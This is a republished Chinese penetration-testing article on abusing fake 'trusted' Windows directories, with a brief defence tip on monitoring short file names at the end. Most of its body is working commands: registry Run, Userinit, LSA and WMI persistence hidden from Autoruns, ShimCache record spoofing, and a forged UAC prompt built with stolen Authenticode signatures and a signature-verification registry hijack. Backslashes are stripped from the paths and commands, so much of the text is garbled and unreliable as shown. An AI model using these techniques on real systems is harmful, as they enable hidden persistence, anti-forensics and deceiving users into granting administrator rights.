栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > .Net

microsoft office root目录

.Net 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

microsoft office root目录

0x00 前言

在上篇文章《通过模拟可信目录绕过UAC的利用分析》对通过模拟可信目录绕过UAC的方法进行了分析,本文将结合自己的经验,继续介绍模拟可信目录的另外三种利用技巧,最后给出防御建议。

0x01 简介

本文将要介绍以下内容:

· 利用模拟可信目录绕过Autoruns

· 利用模拟可信目录欺骗ShimCache

· 利用模拟可信目录伪造正常的UAC弹框

0x02 利用模拟可信目录绕过Autoruns

绕过原理:

Autoruns默认不显示带有微软签名的文件,如果文件包含微软签名,默认不会显示在Autoruns面板。

在Windows系统的启动位置写入模拟可信目录下的文件,由于被识别为正常带有微软签名的文件,默认将不会显示在Autoruns面板。

经过测试,并不适用于所有的启动位置,具体测试如下:

创建模拟的可信目录,添加测试文件:

md "\?c:windows "

md "\?c:windows system32"

copy c:testputty.exe "\?c:windows system32notepad.exe"

copy c:testcalc.dll "\?c:windows system32atl.dll"

1、注册启动项

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun

系统启动时启动文件"C:Windows System32notepad.exe",添加注册表的命令如下:

reg add hklmSOFTWAREMicrosoftWindowsCurrentVersionRun /v RunTest /t REG_SZ /d ""c:windows system32notepad.exe""

注:"在cmd下转义后用"表示。

Autoruns检测注册表项,将其识别为notepad.exe,如下图:

但在系统开机时启动的是正常notepad.exe,而不是putty.exe,失败。

2、注册启动项HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon下的Userinit

查询原注册表项:

reg query "hklmSOFTWAREMicrosoftWindows NTCurrentVersionWinlogon" /v Userinit

默认键值内容为:C:Windowssystem32userinit.exe,

系统启动时启动文件"C:Windows System32notepad.exe",添加注册表的命令如下:

reg add "hklmSOFTWAREMicrosoftWindows NTCurrentVersionWinlogon" /v Userinit /t REG_SZ /d "C:Windowssystem32userinit.exe,"c:windows system32notepad.exe"," /f

注:"在cmd下转义后用"表示。

系统开机时启动putty.exe,Autoruns检测注册表项,将其识别为notepad.exe,成功绕过。

如下图:

注:Autoruns默认不显示带有微软签名的文件,所以不会显示上图中的notepad.exe,上图为了演示专门设置为显示所有启动项。

3、LSA Providers

注册启动项HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa下的Security Packages

添加键值"c:windows system32atl.dll"

Autoruns检测注册表项,将其识别为atl.dll,成功绕过。

如下图:

4、WMI

每隔60秒启动文件"C:Windows System32notepad.exe",添加wmi的命令如下:

wmic /NAMESPACE:"\rootsubscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="rootcimv2",QueryLanguage="WQL", Query="SELECt * FROM __InstanceModificationEvent WITHIN 60 WHERe TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"

wmic /NAMESPACE:"\rootsubscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23", ExecutablePath="C:Windows System32notepad.exe",CommandLineTemplate="C:Windows System32notepad.exe"

wmic /NAMESPACE:"\rootsubscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="BotFilter82"", Consumer="CommandLineEventConsumer.Name="BotConsumer23""

执行后每隔一分钟启动putty.exe,Autoruns检测注册表项,将其识别为notepad.exe,成功绕过。

如下图:

补充:

查看已注册wmi信息的命令如下:

wmic /NAMESPACE:"\rootsubscription" PATH __EventFilter GET __RELPATH /FORMAT:list

wmic /NAMESPACE:"\rootsubscription" PATH CommandLineEventConsumer GET __RELPATH /FORMAT:list

wmic /NAMESPACE:"\rootsubscription" PATH __FilterToConsumerBinding GET __RELPATH /FORMAT:list

删除已注册wmi的命令如下:

wmic /NAMESPACE:"\rootsubscription" PATH __EventFilter WHERe Name="BotFilter82" DELETE

wmic /NAMESPACE:"\rootsubscription" PATH CommandLineEventConsumer WHERe Name="BotConsumer23" DELETE

wmic /NAMESPACE:"\rootsubscription" PATH __FilterToConsumerBinding WHERe Filter="__EventFilter.Name='BotFilter82'" DELETE

0x03 利用模拟可信目录欺骗ShimCache

在之前的文章《渗透技巧——Windows系统文件执行记录的获取与清除》提到:

ShimCache不仅会记录exe文件的执行,而且会对exe文件同级目录下的文件进行记录(如果文件没有执行,那么Executed的属性为no)。

ShimCache只会在系统重新启动后更新(注销当前用户不会更新)。

也就是说,想要清除本次系统从启动至关机的ShimCache记录,有两种方法:

(1)修改注册表

备份当前注册表:

reg export "HKLMSYSTEMCurrentControlSetControlSession ManagerAppCompatCache" ShimCache.reg

系统重启后,恢复注册表:

reg import ShimCache.reg

(2)非正常关机

跳过写入注册表的操作,无法记录本次系统自启动至关机的记录。

(3)修改内存

(理论上可行)

这里我尝试利用模拟可信目录欺骗ShimCache,迷惑性很高。

方法如下:

1. 创建可信目录"c:windows system32"

md "\?c:windows "md "\?c:windows system32"

2. 释放文件"c:windows system32calc.exe"

copy c:testputty.exe "\?c:windows system32notepad.exe"

3. 执行

"c:windows system32notepad.exe"

4. 重启后查看ShimCache

使用工具: https://github.com/mandiant/ShimCacheParser

reg export "HKLMSYSTEMCurrentControlSetControlSession ManagerAppCompatCache" ShimCache.reg

ShimCacheParser.py -o out.csv -r c:testShimCache.reg -t

查看结果,很具有迷惑性,如下图:

0x04 利用模拟可信目录伪造正常的UAC弹框

1、编写需要管理员权限运行的程序

使用Visual Studio。

VS工程设置位置:

配置属性 -> 链接器 -> 清单文件,选择需要管理员权限运行。

也可以修改PE文件资源中的manifest。

2、模拟可信目录,释放文件

copy c:testtestuac.exe "\?c:windows system32diskpart.exe"

执行:"c:windows system32diskpart.exe"

弹出UAC提示,显示路径为正常的diskpart.exe,但是没有签名会提示异常,如下图:

注:执行正常的diskpart.exe,UAC提示如下图。

为了伪造成真正的UAC提示,可以使用PE文件的Authenticode签名伪造。

参考资料: 《Authenticode签名伪造——PE文件的签名伪造与签名验证劫持》

3、签名伪造

使用SigThief,地址如下:

https://github.com/secretsquirrel/SigThief

参数如下:

sigthief.py -i C:WindowsSystem32consent.exe -t c:testtestuac.exe -o c:testnew.exe 

copy c:testnew.exe "\?c:windows system32diskpart.exe" /y

4、绕过证书验证

添加注册表的命令如下:

REG ADD "HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "Dll" /t REG_SZ /d "C:WindowsSystem32ntdll.dll" /f

REG ADD "HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "FuncName" /t REG_SZ /d "DbgUiContinue" /f

5、最终测试

再次执行:"c:windows system32diskpart.exe",UAC提示同真正的diskpart.exe一样,如下图:

0x05 防御建议

对于模拟可信目录的利用,前提是创建了伪造的目录,所以可选择对文件夹的短文件名进行监控。

如果出现与系统目录相近的短文件名,可选择进行标记。

查看短文件名的方法: dir /x

如下图:

0x06 小结

本文介绍了模拟可信目录的另外三种利用技巧,最后给出防御建议。

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/1023483.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号